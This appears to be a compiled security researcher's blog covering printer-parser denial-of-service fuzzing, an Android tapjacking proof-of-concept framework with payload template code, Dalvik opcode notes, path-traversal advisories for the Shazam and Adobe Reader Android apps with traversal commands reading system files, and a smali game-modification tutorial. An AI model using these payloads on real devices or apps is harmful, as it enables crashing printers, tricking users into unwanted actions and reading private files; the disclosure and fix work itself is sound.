  • o#W – “Configure Driver Comman“, igualmente, va seguido de un número determinado de bytes de configuración (# – En este caso 12), se utiliza para ejecutar instrucciones específicas de cada impresora, que pueden ser encontradas en la hoja de configuración de las especificaciones de cada impresora.
  • &l7H – Determina la fuente de donde se obtendrá el papel, en este caso está establecida a automática.
  • &l-1M – Media Type Bond
  • &l110A – Corresponde a la macro PCL_JENV_CHOU3que define la altura del papel.
  • &u600D – Al igual que el precedesor, indica el número de unidades PCL por pulgada.

Llegados a este punto, si modificamos cualquiera de dichos parámetros insertando un caracter no esperado, según como esté implementado el parser e intérprete para el modelo en concreto, obtenemos diversas denegaciones de servicio, tumbando las impresoras y forzándolas a ser reiniciadas manualmente:

Vulnerabilidad IV – ‘OLA KOMO TA YAMA?’

Una de las peculiaridades que presentan estos nuevos modelos, es la inclusión de una pantalla “TouchSmart” por la cual, puedas interactuar directamente con algunas opciones de configuración de la impresora, o en otros casos (como el que nos ciñe ahora) obtener y mostrar información de configuración de la misma.

Entre toda la información disponible para modificar, está la de nombrar al servicio FTP donde se subirán los trabajos escaneados para aquellas impresoras multifunciones:

Si bien el número de caracteres introducido está limitado y controlado por JS, una vez que tenemos la petición interceptada, basta con reenviarla e introducir por ejemplo:

perl -e 'print "A"x1000'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

El resultado obtenido es el siguiente:

En este caso, la impresora fue brickeada y se le tuvo que hacer un hard reset instalándole por USB el firmware que tenía en funcionamiento.

Android Tapjacking Vulnerability

Technical details

Release date – 22/10/2012
Product- Android all versions

Disclaimer – Actually, the framework is in a premature stage, there is not a beautiful user interface implemented and the image coordinates are set manually having in consideration the resolution used in my Nexus Galaxy. This means that you will have to modify (probably) the positions in order to trigger effectively the vulnerability.

On the other hand, all the efforts must be for Lookout, they were the first into discovering this vulnerability, long time ago. I only made my own code and this framework implementation.

The source code is available from my GitHub repository. I will submit new updates as soon as possible, just be patient.

Thanks to @pof and @timstrazz for their infinite patience.

Description – A malicious application can trick a user into performing undesired actions on an Android device. The application can be developed without any permissions. This could allow an attacker to changing security settings, performing a full wipe, sending premium SMS or installing new payloads.

This is possible by overlaying the activity at the top of the stack with another object, for example a Toast, that passes touch events through to the activity. The result is that the user has no idea what he is really clicking or typing, because the real activity is hidden. The illustration below demonstrates how this vulnerability works:

Details – The android trust model allows an application to open a dialog in order to allow a user to take action that the application itselft is not allowed to perform.

In this way, the asset to exploit is the possibility to open a privileged dialog and obscure it using an opaque layer, provoking the user to touch certain parts of the screen in order to mislead him into performing undesired actions.

The elements used to trigger this vulnerability, are a special class of dialogue, called toasts, due the posibility to customize them in order to fill the full screen with a custom user interface. This could be useful in combination with an activity asking the user to tap certain portions of the screen and, just before the user taps that part of the screen, initiate our malicious toast notification that looks similar to the original activity.

That’s the perfect moment for closing the activity through our application while the toast is in the foreground.

Another interesting thing, is the fact that our PoC requires zero permissions. A very well known problem when users have to install new applications is that if a game application requests SEND_SMS, CALL_PHONE, READ_CONTACTS, ACCESS_COARSE_LOCATION, and other sensitive permissions, probably it will make something very suspicious.

However a game that makes use of our TapJacking sample, could slide over the Android security model without attracting the attention of users. Furthermore, it could be use in order to trigger new payloads achieving a devastating effect for the personal and private information.

Solutionview class inherit the setFilterTouchesWhenObscured method. This can be used either through code or declared within our layout XML files. Simple and easy, if there is anything obscuring from view, Android will disallow any interaction with it. Although there is a point to remember, this protection mechanisms will also prevent view elements from receiving interations when stardard toasts are displayed, so it’s necessary to be cautious.

Application structure – The main idea behind this project or proof of concept has been facilitate to the end user the possibility to modify or add new behaviours to the previous ones.

This is possible because the core responsible of triggering the vulnerability and it’s logical behaviour are separate from the attacks implemented.

At present, the version that you can download and install to your phone or Android Emulator is only for educational or testing purposes and it contains the following attack vectors; make a call, send a sms, install an app from Google Play, tweet something, wipe the device or spread the application using ACTION_SEND intents, among others.

Although the attack vectors defined are implemented to test some system functionalities, it’s also possible to test if your application is prone to be vulnerable to this vulnerability.

Adding a new attack – Instead of explain the source code, I’m going to detail how to develop a new module to test if an application downloaded from the Google Play market is prone to be vulnerable to this kind of attack.

We are going to use the application from a well known spanish social network. The first step will be analyze the AndroidManifest file in order to find any activity with the flag exported set to true.

After queried the file, we find the following coincidence:

<activity android:label="@string/app_name"
android:exported="true"
android:name=".ui.activity.xxx(Intentionally)" android:configChanges="locale|keyboardHidden|orientation|screenSize" android:windowSoftInputMode="stateVisible|adjustResize" />

The parameter ‘exported‘ is what we’re looking for, when is set to “true” means that a third application can call the activity flagged with this attribute and interact with it.

This is the desired scenario for our application, the possibility to “infect” external apps foreign to the system.

Next step is define a new function with the content of our attack. You can use the following template, being only necessary to modify the line “positions.add(new Point(350, 610))” with your desired coordinates and the payload logic.

public class ThirdAppPayload extends FrameworkPayload {
public ThirdAppPayload() {
for(int i=0; i<=6; i++)
positions.add(new Point(350, 610));  // Here you can specify where to set the image
}
@Override
public Intent getIntent() {
Intent intent = new Intent(Intent.ACTION_VIEW);
ComponentName distantActivity = new ComponentName("com.third.exampleapp", "com.third.exampleapp.StartupClass");
intent.setComponent(distantActivity);
intent.setAction(Intent.ACTION_MAIN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

return intent;
}
@Override
public int getSleep() {
return 1000;
}
}

Where we need to find the following information for the application we want to start:

  • Package name – “com.third.exampleapp”
  • Startup class – “com.third.exampleapp.StartupClass”

This information is possible to obtain if you start third-app regularly, and in the LogCat inspect the trace, for example.

After that, we have to add the following code on the “Main.java” file.

public void thirdAppPayload(View v) {
FrameworkService.setLoad(new ThirdAppPayload());
startService(new Intent(FrameworkService.class.getName()));
}

And this on the layout  file “main.xml”:

<Button android:text="@string/thirdAppPayload"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:onClick="thirdAppPayload"
android:layout_gravity="center"
android:layout_marginTop="6dip"></Button>

The result will be something similar to this (Nowadays, it has been fixed):

Jugando con los opcodes de Dalvik

Introducción

El objetivo de esta entrada es recoger a modo de borrador algunas notas que he ido tomando durante mi investigación con los opcodes de Dalvik, explicando algunas nociones básicas sobre el funcionamiento de los mismos.

¿Qué es Dalvik?

Extraído de la Wikipedia:

Dalvik is the process virtual machine (VM) in Google’s Android operating system. It is the software that runs the apps on Android devices. Dalvik is thus an integral part of Android, which is typically used on mobile devices such as mobile phones and tablet computers as well as more recently on embedded devices such as smart TVs and media streamers.

Programs are commonly written in Java and compiled to bytecode. They are then converted from Java Virtual Machine-compatible .class files to Dalvik-compatible .dex (Dalvik Executable) files before installation on a device. The compact Dalvik Executable format is designed to be suitable for systems that are constrained in terms of memory and processor speed.

Para información más detallada sobre cómo está diseñada la arquitectura y cuál es su funcionamiento interno, puedes leer el siguiente artículo: “The Dalvik Virtual Machine Architecture [Eng]”

 

Dalvik Bytecode

Son las instrucciones utilizadas para interactuar con la máquina virtual Dalvik. Puedes encontrar una lista de las mismas en el enlace: Dalvik Opcodes.

Todas las notas que he ido tomando y sobre las que he basado mi investigación, son una síntesis de lo que puedes encontrar en estos enlaces:

 

Formato de las instrucciones

Cada opcode de Dalvik está asociado a un formato de instrucción, encargado de moldear el comportamiento del mismo.

Dicho formato está compuesto por varias palabras (16 bits) separados por un espacio, donde cada carácter representa cuatro bits, leídos desde el bit más significativo al menos, utilizando el carácter “|” intercalado para facilitar su lectura.

De esta forma, encontramos:

  • - Mayúsculas secuencialmente ordenadas identifican los campos dentro del formato.
  • - El término “op” es utilizado para indicar la posición de un opcode de 8 bits
  • - El símbolo “Ø” determinad que los bits restantes han de ser cero.

Pongamos un ejemplo

Para el formato “B|A|op CCCC“:

  • - Está compuesta por dos palabras de 16 bits cada una, siendo la primera “”B|A|op” y la segunda “CCCC
  • - La primera palabra está compuesta por el opcode posicionado en los 8 bits menos significativos y un par de valores de cuatro bits localizados en los 8 bits más significativos.
  • - La segunda palabra consiste en un único valor de 16 bits.

Un ejemplo es la instrucción “if-eq vA, vB, +CCCC” donde “vA” representa el primer registro a comprobar (4 bits), “vB” representa el segundo registro (4 bits), y “+CCCC” representa el desplazamiento a realizar (16 bits). Siendo su cometido el desplazarse a otra zona de la memoria, dada por el posicionamiento actual más el valor del offset, si el contenido de los dos registros son iguales.

Para el formato “ØØ|op

  • - Tenemos una única palabra de 16 bits.
  • - Los 8 bits menos significativos están establecidos a 0.
  • - Los restantes 8 bits, están reservados para el opcode

Asociado a instrucciones como “nop” o “return-void“.

Para el formato “ØØ|op AAAA BBBB

  • - Está compuesto por tres palabras (16 bits/palabra), siendo la primera “ØØ|op“, la segunda “AAAA“, y la tercera “BBBB“.
  • - La primera palabra los 8 bits menos significativo están establecidos a 0, mientras que los más significativos almacenan el opcode
  • - La segunda palabra almacena un único valor de 16 bits.
  • - Otro valor único de 16 bits es almacenado en la tercera y última.

Un ejemplo de instrucción puede ser “move/16 vAAAA, vBBBB” donde se desplaza el contenido del registro “vBBBB” a “vAAAA

A su vez, cada formato está asociado a un “short ID”, compuesto normalmente por tres caracteres (salvo casos excepcionales), dos digitos y una letra. Donde el primer dígito simboliza el número de palabras que integran el formato, el segundo determina el número de registros que hay, o viene expresado por el carácter “r” que expresa el uso de un rango de registros dentro del formato , y por último el tercer carácter representado por una letra, es utilizado para inidicar cualquier tipo de dato extra codificado en el propio formato.

De estos podemos distinguir la siguiente tabla:

Imagen tomada de source.android.com

 

Utilicemos unos ejemplos, el short ID “12x establece que se está utilizando una palabra de 16 bits, junto a dos registros de 4 bits cada uno y que no se está codificando ningún tipo de datos adicional “(x)”, siendo por tanto “strong>B|A|op” el formato especificado.

Para el short ID “22s“, podemos discernir que se están utilizando dos palabras de 16 bits, dos registros, y como dato adicional, que se incluye un ‘signed short’ de 16 bits. En este caso estamos hablando de “B|A|op CCCC“.

Por último, con la intención de orientar todo esto a una sintáxis más legible, se propone utilizar para cada instrucción una construcción mucho más sencilla. Donde se comienza utilizando el nombre de cada opcode, y una lista de parámetros aceptados por el mismo, utilizando el carácter ‘,‘ como separador, teniendo en consideración los siguientes aspectos:

  • - Todo argumento etiquetado en el formato, recibirá la misma etiqueta en la sintáxis. Para “AA|op BB|CC” su homólogo será “op vAA, vBB, vCC” (23x)
  • - Aquellos registros que tengan la forma “vX“, utilizando el prefijo “v” intencionadamente en lugar de “r“, es para evitar conflictos con arquitecturas (no virtuales) de Dalvik que sí lo utilicen.
  • - Los argumentos que indican un valor inmediato presentan la forma “#+X“.
  • - Aquellos que indican un desplazamiento relativo se muestran con “+X“.
  • - Los que muestran un ‘literal constant pool index‘, lo hacen utilizando “kind@X” donde “kind” señaliza qué “constant pool” es indicada, existiendo: “string” (string pool index) | “type” (type pool index) | “field” (field pool index | “meth” (meth pool index).
  • - También es posible indicar “prelinked offsets” existiendo de dos tipos: “vtaboff” (vtable offsets). | “fieldoff” (field offsets).
  • Por último, en aquellos formatos cuyo ‘short ID’ es “35c“, “35ms” y “35mi

Poniendo como ejemplo, la sintáxis “op vAA, #+BBBB” cuyo ‘short ID’ es “21s” y su formato “AA|op BBBB“, a su vez también acepta otras construcciones como “op vAA, vBBBB” para el ‘short ID’ “22x” o “op vAA, +BBBB” para 21t.

Todas ellas tienen el mismo formato inicial (AA|op BBBB) a pesar de que su representación es distinta:

  • op vAA, vBBBB” en este caso vBBBB hace referencia a un registro.
  • op vAA, +BBBB” aquí BBBB representa el offset añadido a la posición base.
  • op vAA, #+BBBB” es interpretado como un valor inmediato.

 

Path traversal vulnerability on Shazam (Android) application

Technical Advisory

  • Package name: com.shazam.android.
  • Date: 10th September, 2012.
  • Affected versions: <= 3.10.1-BB76101.
  • CVE Reference: None
  • Author: Sebastián Guerrero Selma.
  • Severity: Medium.
  • Local/Remote: Local.
  • Vulnerability class: Content Provider.
  • Vendor: Shazam

 

Description

The application for android devices makes use of content providers which are implicitly exported by default.

This results in these content providers allowing other applications on the device to request sensitive information and successfully obtain it.

This is cause for concern as any 3rd party application containing malicious code does not require any granted permissions in order to obtain sensitive information from these applications.

 

Background

Extracted from Wikipedia:

Shazam is a commercial mobile phone based music identification service, with its headquarters in London, England. The company was founded in 1999 by Chris Barton, Philip Inghelbrecht, Dhiraj Mukherjee and Avery Wang.

Shazam uses a mobile phone’s built-in microphone to gather a brief sample of music being played. An acoustic fingerprint is created based on the sample, and is compared against a central database for a match. If a match is found, information such as the artist, song title, and album are relayed back to the user. Relevant links to services such as iTunes, YouTube, Spotify or Zune are incorporated into some implementations of Shazam.

 

Impact

An attacker can perpetrate a path traversal attack in the context of a user application and read/write files inside internal storage.

 

Proof of concept

Let’s gonna start obtaining information about the aplication:

Package name: com.shazam.android
Process name: com.shazam.android
Version: 3.10.1-BB76101
Data directory: /data/data/com.shazam.android
APK path: /data/app/com.shazam.android-1.apk
UID: 10073
GID: 3003; 1015;
Permissions:

  • com.shazam.android.permission.C2D_MESSAGE
  • com.google.android.c2dm.permission.RECEIVE
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.RECORD_AUDIO
  • android.permission.READ_PHONE_STATE
  • android.permission.VIBRATE
  • android.permission.BROADCAST_STICKY
  • android.permission.WRITE_EXTERNAL_STORAGE
  • android.permission.ACCESS_COARSE_LOCATION
  • android.permission.ACCESS_FINE_LOCATION
  • android.permission.WAKE_LOCK
  • android.permission.GET_ACCOUNTS
  • android.permission.NFC
  • com.shazam.android.preloadinfo.provider.ACCESS_DATA
  • android.permission.MODIFY_AUDIO_SETTINGS

Giving a look into IPCs:

  • 8 Activities: com.shazam.android.Home | com.shazam.android.Splash | com.shazam.nfc.NfcInterceptingActivity | com.shazam.android.Tagging | com.shazam.activities.TagDetailsActivity | com.shazam.android.FacebookDeepLinkActivity | com.shazam.activities.external.StartTagging | com.shazam.widget.WidgetConfig
  • 13 Broadcast Receivers: com.shazam.upgrade.AppUpgradeReceiver (null) | com.shazam.widget.Free4x1 (null) | com.shazam.analytics.ReferralTrackingReceiver (null) | com.shazam.android.c2dm.C2DMBroadcastReceiver(com.google.android.c2dm.permission.SEND) | com.shazam.android.networking.ConnectivityReceiver (null) |  com.shazam.mre.DownloaderServiceRequester (null) | com.shazam.service.recognition.MicroRecognitionBroadcastReceiver (null) | com.shazam.analytics.ReferralTrackingReceiver (null).
  • 3 Content Providers: com.shazam.library.providers.freeimporttagscontentprovider (Read: null – Write: null – Uri: false – Multiprocess: true) | com.shazam.android.AdMarvelCachedImageLocalFileContentProvider(Read: null – Write: null – Uri: false – Multiprocess: false) | com.shazam.android.AdMarvelLocalFileContentProvider (Read: null – Write: null – Uri: false – Multiprocess: false)
  • 1 Services: com.admarvel.admarvelcachedadsadapter.service.AdMarvelCachedAdsService (null)

We are going to centrate our attention on ‘com.adobe.reader.fileprovider‘ content provider. First of all, let’s gonna try to read the content of the provider:

read content://com.shazam.android.AdMarvelCachedImageLocalFileContentProvider
(Intentionally left blank)

Hmmm interesting, try again with a ‘path traversal attack’ attempt:

read content://com.shazam.android.AdMarvelCachedImageLocalFileContentProvider/../
(Intentionally left blank)

read content://com.shazam.android.AdMarvelCachedImageLocalFileContentProvider/../../../
(Intentionally left blank)

Try again Luck, use your force:

read content://com.shazam.android.AdMarvelCachedImageLocalFileContentProvider/../../../../../../../../system/etc/hosts
127.0.0.1 localhost

read content://com.shazam.android.AdMarvelCachedImageLocalFileContentProvider/../../../../../../../../system/build.prop#Fri Sep 07 23:25:30 GMT+02:00 2012
ro.ril.emc.mode=2
ro.product.manufacturer=HTC
ro.debuggable=1
media.a1026.enableA1026=1
ro.com.android.wifi-watchlist=GoogleGuest
ro.setupwizard.enterprise_mode=1
ro.product.model=Nexus One
dalvik.vm.dexopt-flags=m=y

To infinity… and beyond!

Solution

In the AndroidManifest.xml file of each application that contains a content provider, it was recommended that read and write permissions are set.

An example is shown below:

Vulnerable code:

< provider name=”com.admarvel.admarvelcachedadsadapter.service.AdMarvelCachedImageLocalFileContentProvider” authorities=”com.shazam.android.AdMarvelCachedImageLocalFileContentProvider”>

Fixed code:

<provider name=”com.admarvel.admarvelcachedadsadapter.service.AdMarvelCachedImageLocalFileContentProvider” authorities=”com.shazam.android.AdMarvelCachedImageLocalFileContentProvider”
android:readPermission=”com.shazam.android.provider.permission.READ”
android:writePermission=”com.adobe.reader.provider.permission.WRITE” />

 

Path traversal vulnerability on Adobe Reader (Android) Application

Technical Advisory

  • Package name: com.adobe.reader.
  • Date: 10th September, 2012.
  • Affected versions: <= 10.3.1.
  • CVE Reference: None
  • Author: Sebastián Guerrero Selma.
  • Severity: Medium.
  • Local/Remote: Local.
  • Vulnerability class: Content Provider.
  • Vendor: Adobe

 

Description

The application for android devices makes use of content providers which are implicitly exported by default.

This results in these content providers allowing other applications on the device to request sensitive information and successfully obtain it.

This is cause for concern as any 3rd party application containing malicious code does not require any granted permissions in order to obtain sensitive information from these applications.

 

Background

Extracted from Wikipedia:

Adobe Acrobat is a set of application software developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF).

All parts of the set, except Adobe Reader (formerly Acrobat Reader),are proprietary commercial programs, while the latter is available asfreeware and can be downloaded from Adobe’s website. Adobe Reader enables users to view and print PDF files but has negligible PDF creation capabilities.

Acrobat and Reader are widely used as a method of presenting information with a fixed layout similar to a paper publication.

 

Impact

An attacker can perpetrate a path traversal attack in the context of a user application and read/write files inside internal storage.

 

Proof of concept

Let’s gonna start obtaining information about the aplication:

Package name: com.adobe.reader
Process name: com.adobe.reader
Version: 10.3.1
Data directory: /data/data/com.adobe.reader
APK path: /data/app/com.adobe.reader-1.apk
UID: 10075
GID: 3003; 1015;
Permissions:

  • android.permission.INTERNET
  • android.permission.WRITE_EXTERNAL_STORAGE
  • android.permission.ACCESS_NETWORK_STATE;

Giving a look into IPCs:

  • Activities: com.adobe.reader.AdobeReader
  • Broadcast Receivers: None.
  • Content Providers:
    • Authority: com.adobe.reader.fileprovider
    • Required Permission – Read: null
    • Required Permission – Write: null
    • Grant Uri Permissions: false
    • Multiprocess allowed: false

We are going to centrate our attention on ‘com.adobe.reader.fileprovider‘ content provider. First of all, let’s gonna try to read the content of the provider:

read content://com.adobe.reader.fileprovider
Is a directory

Hmmm interesting, try again with a ‘path traversal attack’ attempt:

read content://com.adobe.reader.fileprovider/../
Is a directory

read content://com.adobe.reader.fileprovider/../../../
(Intentionally left blank)

Try again Luck, use your force:

read content://com.adobe.reader.fileprovider/../../../../../../../system/etc/hosts
127.0.0.1 localhost

read content://com.adobe.reader.fileprovider/../../../../../../../system/build.prop
#Fri Sep 07 23:25:30 GMT+02:00 2012
ro.ril.emc.mode=2
ro.product.manufacturer=HTC
ro.debuggable=1
media.a1026.enableA1026=1
ro.com.android.wifi-watchlist=GoogleGuest
ro.setupwizard.enterprise_mode=1
ro.product.model=Nexus One
dalvik.vm.dexopt-flags=m=y

To infinity… and beyond!

Solution

In the AndroidManifest.xml file of each application that contains a content provider, it was recommended that read and write permissions are set.

An example is shown below:

Vulnerable code:

< provider name=”.ARContentProvider” authorities=”com.adobe.reader.fileprovider” />

Fixed code:

< provider name=”.ARContentProvider” authorities=”com.adobe.reader.fileprovider”
android:readPermission=”com.adobe.reader.provider.permission.READ”
android:writePermission=”com.adobe.reader.provider.permission.WRITE” />

Reversing en juegos de android

Introducción

El objetivo de esta entrada, es explicar a través de un ejemplo práctico, cómo es el proceso para modificar una aplicación en Android para que tenga el comportamiento que nosotros deseemos.

El juego elegido es Frozen Bubble, y lo que vamos a modificar es el nivel de inicio de la partida.

Para ello modificaremos directamente el código smali, no es necesario tener experiencia previa, trataré de proporcionar toda la documentación y explicación posible.

Montando el entorno de trabajo

Antes de empezar, necesitaremos tener instalado (opcionalmente si queréis):

Daré por supuesto que sabéis cómo funciona todo el tema de la decompilación de un APK para obtener el código smali que nos interesa modificar, y cómo realizar el proceso inverso pasando previamente por el firmado del paquete y así poder instalarlo en el dispositivo sin ningún tipo de problemas.

De todas formas, utilizaremos la herramienta APKManager que con un intuitivo menú nos permite gestionar de forma rápida todo este proceso sin necesidad alguna de ensuciarnos las manos.

Y por último será necesario que descarguéis el APK del Frozen Bubble v1.7

Bytecodes de Dalvik

No voy a explayarme detallando cuáles hay, ni para qué sirve cada uno, siendo sinceros, no los conozco en su plenitud y conforme voy necesitando informarme tiro de la documentación existente.

Os aconsejo los siguientes enlaces si queréis darle un vistazo en profundidad y más detallado:

El proceso de instalación de un APK

Creo que antes de lanzarnos a suprimir y modificar líneas como locos, sería interesante entender el funcionamiento de todo el proceso que estamos realizando, y el mejor punto de partida es ver qué cambios se producen cuando decidimos realizar la instalación de un fichero APK en un dispositivo.


$ ./adb logcat -c
$
1248 KB/s (506394 bytes in 0.396s)
pkg: /data/local/tmp/Frozen_Bubble_1.7.apk

$ ./adb logcat

Podéis ver un dumpeado completo de la memoria aquí, descartando la basura, lo más destacable es:

  1. Se levanta el AndroidRuntime, que es el desencadenante de todo el proceso
  2. PackageManager detecta el APK y comienza el proceso de instalación
  3. Entra en juego el DexOpt que realiza tareas de verificación y optimización para todas las clases dentro del fichero DEX
  4. La actividad inicial para lanzar la aplicación es detectada por el PackageManager, correspondiendo en este caso a org.jfedor.frozenbubble.FrozenBubble

Si quieres aprender un poco más acerca de cómo funciona el proceso de comunicación interno entre los diferentes mecanismos y entender un poco más su arquitectura, te recomiendo leer los artículos relacionados con Android Binder.

Ejecutando la aplicación desde el Launcher

Siguiendo con nuestro proceso de entender cómo funciona internamente la ejecución de una aplicación dentro de un dispositivo. Llamaremos a la actividad principal de esta y observaremos el comportamiento que tiene.


$ adb shell am start -e debug true -a android.intent.action.MAIN -c android.intent.category.LAUNCHER -n org.jfedor.frozenbubble/.FrozenBubble

Starting: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=org.jfedor.frozenbubble/.FrozenBubble (has extras) }

Ejecutando


$ ./adb shell dumpsys | grep -i bubble

Obtenemos la siguiente salida, que no es más que el despliegue de actividad que realiza la aplicación al ejecutarse en el teléfono.

Esta información, también es posible obtenerla si desplegamos el debugger incorporado dentro de Eclipse

Nociones básicas sobre Dalvik

Tal vez esta parte al ser muy teórico y muchos conceptos se te haga pesada, si quieres directamente pasar de ella adelante, pero ya que ha tenido su trabajo redactarla y contiene algunos conceptos interesantes, te recomendaría leerla

Habiendo explicado cómo estudiar y analizar el comportamiento que desarrolla la ejecución de una aplicación en un dispositivo. Es hora de introducirnos en el aspecto de reversearla.

Para que no sea tan brusca la toma de contacto con el código smali, trataré de explicar algunas nociones básicas y ejemplos que nos faciliten nuestra labor.

Por definición los registros de los bytecodes de Dalvik son de 32 bytes, y permiten almacenar cualquier tipo de valor.

A su vez existen dos maneras posibles de especificar cuántos registros van a ser utilizados por un método:

  • - La directiva .registers se utiliza para especificar el número total de registros en el método en concreto.
  • - Por otro lado .locals determina el número de registros utilizados por el método que no son pasados como parámetros
  • Otras veces también podemos utilizar este tipo de información para conocer cuántos registros son necesarios para almacenar los parámetros de un método.

    Cuando un método es invocado, los parámetros que se pasan a este, son asignados a los últimos n registros. De esta forma si un método tiene 2 argumentos y tenemos 5 registros (v0-v4), los argumentos serán asignados a los dos últimos registros, v3 y v4.

    El primer parámetro de un método no estático, es siempre una referencia al objeto del método que está siendo invocado (Comúnmente conocido como this en programación).

    Con un ejemplo se verá todo más claro:

    Tenemos un método no estático llamado LObjeto:->Metodo(II)V. Este método recibe dos enteros como parámeros, pero además también tiene implícito un parámetro LObjeto que se almacenará en pila con prioridad sobre los otros dos. De esta forma tenemos un total de tres argumentos utilizados por nuestro método.

    Establezcamos ahora que existen 5 registros en el método (v0-v4), que utilizando las declarativas comentadas anteriormente podríamos expresar como .registers 5 o .locals 2 (Donde 2 registros serían locales y 3 pasados como parámetros).

    Cuando el método es invocado, el objeto sobre el que recae la invocación pasará a estar en el registro v2, el primer entero estará en v3, y el segundo entero en v4.

    Cuando tratamos con métodos estáticos, el procedimiento es el mismo a excepción de que el argumento implícito this no existe.

    Por otro lado, a la hora de nombrar a los registros de un método, seguimos el esquema de vX (variables locales) y pX(parámetros pasados) donde X es un valor numérico. Siguiendo con el ejemplo anterior

    • - v0 Contiene el primer registro local.
    • - v1 Contiene el segundo registro local.
    • - v2 p0 Contiene el primer parámetro (referencia this).
    • - v3 p1 Contiene el segundo parámetro (primer entero).
    • - v4 p2 Contiene el tercer parámetro (segundo entero).

    Tipos de datos / Métodos / Campos

    Existen primordialmente dos tipos de bytecodes soportados:

    • Tipos primitivos – (V void | Z boolean | B byte | S short | C char | I int | J long (64bits) | F float | D double (64 bits))
    • Tipos referenciados – Objetos y vectores

    La taxonomía presentada por un objeto es la siguiente:

    Lpackage/name/ObjectName;

    • L Indica que nos encontramos ante un objeto.
    • package/name Es el nombre del paquete en el que se encuentra el objeto en sí.
    • ObjectName Es el nombre del objeto.
    • ; Denota el final del nombre del objeto.

    Esto sería equivalente a package.name.ObjectName en Java. Otro ejemplo donde Ljava/lang/String; equivaldría a java.lang.String.

    Por otro lado, la taxonomía presentada por un vector es la siguiente [I donde estaríamos ante un vector unidimensional de enteros, conocido como int[] en Java.

    Así mismo [[I equivaldría a int[][], [[[I = int[][][] y así hasta el inifnito y más alla (Mentira, es 255).

    También existe la posibiliad de tener vectores de objetos, y es muy frecuente encontrarse con esto. Un ejemplo:

    [L/java/lang/String; equivaldría a un vector de strings.

    Los métodos en cambio, son mostrados siempre de una forma muy descriptiva, como puedes observar en el siguiente ejemplo

    Lpackage/name/ObjectName;->MethoName(III)> donde

    • - Lpackage/name/ObjectName; corresponde al nombre del tipo de dato.
    • - MethodName es el nombre del método.
    • - (III)Z Se compone por los datos que el método recibirá y devolverá.
    • - III Representan los parámetros (en este caso tres enteros).
    • - Z Representa el tipo de parámetro que devuelve el método (booleano en este caso).

    Los parámetros que son pasados se muestran uno seguido de otro, sin ningún tipo de separación entre ellos:

    method(I[[IILjava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; lo que equivaldría en Java a String method(int, int[][], int, String, Object[])

    Por otro lado los campos presentan la misma estructura:

    Lpackage/name/ObjectName;->FieldName:Ljava/lang/String;

    • Lpackage/name/ObjectName; Corresponte al nombre del paquete.
    • FieldName Corresponde al nombre del campo.
    • Ljava/lang/String; Corresponde al tipo del campo.

    Reverseando la aplicación

    Como comentábamos al inicio de la entrada, utilizando la herramienta APKManager, podemos gestionar todo el proceso de decompilado y compilado de una manera sencilla.

    Supondremos que ya tenéis generada toda la estructura de ficheros en smali, por lo que ejecutando un simple find en el directorio raíz, nos devolverá el siguiente resultado de donde fijaremos nuestra atención en los ficheros GameView$GameThread.smali y LevelManager.smali.

    El siguiente paso será ver qué métodos componen el LevelManager:


    $ grep "\.method" ./smali/org/jfedor/frozenbubble/LevelManager.smali
    .method public constructor ([BI)V
    .method private getLevel(Ljava/lang/String;)[[B
    .method public getCurrentLevel()[[B
    .method public getLevelIndex()I
    .method public goToFirstLevel()V
    .method public goToNextLevel()V
    .method public restoreState(Landroid/os/Bundle;)V
    .method public saveState(Landroid/os/Bundle;)V

    Centremos nuestra atención en el método goToFirstLevel()V tiene pinta de contener información acerca del nivel por el que empezará el juego. Veamos en qué otros ficheros del código es llamado:


    $ grep -HnRi "goToFirstLevel" smali/org/jfedor/frozenbubble/*

    smali/org/jfedor/frozenbubble/GameView$GameThread.smali:4612: invoke-virtual {v2}, Lorg/jfedor/frozenbubble/LevelManager;->goToFirstLevel()V
    smali/org/jfedor/frozenbubble/LevelManager.smali:368:.method public goToFirstLevel()V

    Para entender los siguientes pasos, es importante conocer la utilidad de los siguientes bytecodes:

    • invoke-virtual {params}, método_a_llamar Invoca un método virtual con parámetros.
    • invoke-static {params}, método_a_llamar Invoca un método estático con parámetros.

    Si habéis leído las nociones básicas que describí en un apartado anterior, cuando utilizamos un método no estático, el primer parámetro que se pasa, hace referencia a la instancia this.

    Mientras que cuando tratamos con métodos estáticos esto no ocurre.

